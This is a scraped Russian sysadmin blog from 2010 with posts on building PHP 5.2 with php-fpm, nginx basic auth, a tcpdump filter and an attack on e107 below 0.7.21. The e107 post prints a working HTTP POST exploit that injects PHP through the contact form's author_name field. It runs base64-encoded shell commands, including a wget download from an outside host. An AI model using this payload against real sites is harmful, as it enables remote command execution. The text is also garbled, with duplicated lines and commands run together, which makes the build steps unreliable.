$ sed -i '' -e 's/string1/string2/' file
если после -i '' не поставить апострофы - то получим копию файла с -e на конце.
А в лине такого изврата с копиями нет )) там просто
$ sed -i 's/string1/string2/' file
четверг, 26 августа 2010 г.
PHP from source
Последнее время часто приходится сталкиваться с nginx + php-fpm.
php-fpm для ветки 5.2 идёт как патч, поэтому пыхпых приходится руками собирать.
Решил свои действия, наконец, на бумажку записать )
Поехали. Качаем, патчим:
Дальше в scripts/php-config надо поправить строку --extensions-dir, дабы модули лежали в более удобном месте.
Кладём php.ini в /etc и меняем в нём путь к модулям на наш.
Cобираем модули:
В во время сборки на понадобятся разные сорсы, gcc и autoconf. В правильных дистрах просто доставляем нужные devel пакеты.
php-fpm для ветки 5.2 идёт как патч, поэтому пыхпых приходится руками собирать.
Решил свои действия, наконец, на бумажку записать )
Поехали. Качаем, патчим:
wget http://ru2.php.net/get/php-5.2.12.tar.gz/from/this/mirrorСобираем ядро php:
wget http://php-fpm.org/downloads/php-5.2.12-fpm-0.5.13.diff.gz
tar xzf php-5.2.12.tar.gz
gzip -cd php-5.2.12-fpm-0.5.13.diff.gz | patch -d php-5.2.12 -p1
./configure \dom и xml можно отсюда выкинуть, просто мне так нужно было.
--prefix=/usr/local/php \
--exec-prefix=/usr/local/php \
--sysconfdir=/etc \
--enable-fastcgi \
--enable-fpm \
--with-fpm-conf=/etc/php-fpm.conf \
--with-fpm-log=/var/log/php-fpm.log \
--with-fpm-pid=/var/run/php-fpm.pid \
--with-libdir=/lib64 \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--enable-dom \
--enable-xml
make install
Дальше в scripts/php-config надо поправить строку --extensions-dir, дабы модули лежали в более удобном месте.
Кладём php.ini в /etc и меняем в нём путь к модулям на наш.
Cобираем модули:
По аналогии собираем другие компоненты.
cd /root/build/php-5.2.12/ext/mysql
/usr/local/php/bin/phpize
./configure --prefix=/usr/local/php \
--exec-prefix=/usr/local/php \
--sysconfdir=/etc \
--enable-fastcgi \
--enable-fpm \
--with-fpm-conf=/etc/php-fpm.conf \
--with-fpm-log=/var/log/php-fpm.log \
--with-fpm-pid=/var/run/php-fpm.pid \
--with-libdir=/lib64 \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--enable-dom \
--enable-xml \
--with-mysql=shared \
--with-php-config=/root/build/php-5.2.12/scripts/php-config
make install
echo "extension=mysql.so" > /etc/php.d/mysql.ini
В во время сборки на понадобятся разные сорсы, gcc и autoconf. В правильных дистрах просто доставляем нужные devel пакеты.
nginx htpasswd
В нужный локейшн добавляем:
login:hash
Генерим: htpasswd -n login
auth_basic "auth required";В /etc/nginx/htpasswd вставляем:
auth_basic_user_file /etc/nginx/htpasswd;
login:hash
Генерим: htpasswd -n login
среда, 25 августа 2010 г.
пыхпых моя админ!
Никогда не любил phpmyadmin. Сегодня в очередной раз убедился, какой это хлам. Консольный mysql - это наше всё. Вебмин тоже годится. И Mysql Workbench. А phpmyadmin - для нищебродов, которые всякими денверами пользуются.
Воть.
Воть.
среда, 18 августа 2010 г.
Отбор GET запросов
tcpdump -nnp -vv -s 1500 -c 10000 -X dst host xxx.xxx.xxx.xxx and "tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420"
понедельник, 2 августа 2010 г.
Как ломают e107 < 0.7.21
Нашёл-таки, как именно команды скарливают этой поделке дырявой.
В файле contact.php есть строчка:
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
Тестировал на CentOS + nginx + php-fpm
В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
POST /e107/contact.php HTTP/1.1Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259
send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode(" aWQ=")).base64_decode(" Qnlyb2VOZXQ=")).shell_exec( base64_decode(" Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb2 1haW4ub3JnL2hlbGxvLnR4dDsK"))% 3Bdie%28%29%3B%5B%2Fphp%5D
Тестировал на CentOS + nginx + php-fpm
Подписаться на:
Сообщения (Atom)